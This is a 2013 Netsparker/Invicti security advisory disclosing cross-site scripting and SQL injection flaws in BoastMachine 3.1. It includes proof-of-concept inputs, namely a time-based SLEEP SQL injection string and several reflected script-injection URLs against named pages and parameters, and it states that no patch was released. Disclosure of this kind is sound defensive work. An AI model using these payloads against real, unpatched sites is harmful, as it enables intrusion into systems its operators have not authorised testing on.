XSS and SQL Injection Vulnerabilities in BoastMachine

Information

Advisory by Netsparker (now Invicti)
Name: XSS and SQL Injection Vulnerabilities in BoastMachine
Software: BoastMachine 3.1 and possibly below.
Vendor Homepage: https://github.com/knadh/boastmachine 
Vulnerability Type: Cross-Site Scripting and SQL Injection
Severity: Critical
Researcher: Omar Kurt
Advisory Reference: NS-13-014

Description

boastMachine is an open source, state of the art publishing platform that makes your web publishing experience so fun and easy as never before! From the fully automated installation to advanced content management features to spam fighting, boastMachine provides you with all that you would ever need!

Details

BoastMachine is affected by XSS and SQL Injection vulnerabilities in version 3.1.
Example PoC urls are as follows:

• SQL Injection Vulnerabilities
  http://example.com/user.php
  (POST – blog)
  blog='+(SELECT 1 FROM (SELECT SLEEP(25))A)+'
• XSS Vulnerabilities
  http://example.com/index.php (POST –  params: key, blog)
  http://example.com/bmc/wysiwyg/?form=newpost&box='"--></style></script><script>alert(0x000336)</script>
http://example.com/bmc/wysiwyg/?form='"--></style></script><script>alert(0x000335)</script>&box=3
http://example.com/user.php?action=new_post&blog='"--></style></script><script>alert(0x0000F8)</script>
http://example.com/bmc/admin/?action=list_users&blog='"--></style></script><script>alert(0x0008FF)</script>
http://example.com/bmc/admin.php?blog='"--></style></script><script>alert(0x0002B5)</script>&action=del_blog&step=1
http://example.com/user.php (POST –  params: blog)

Learn more about Cross-Site Scripting and SQL Injection vulnerabilities:

• Cross-site Scripting (XSS)
• SQL Injection

Solution

No patch released.

Advisory Timeline

10/07/2013 – First Contact – No Response
24/07/2013 – Second Contact – No response
10/12/2013 – Vulnerability Released

Credits

It has been discovered on testing of Invicti Web Application Security Scanner.

About Invicti

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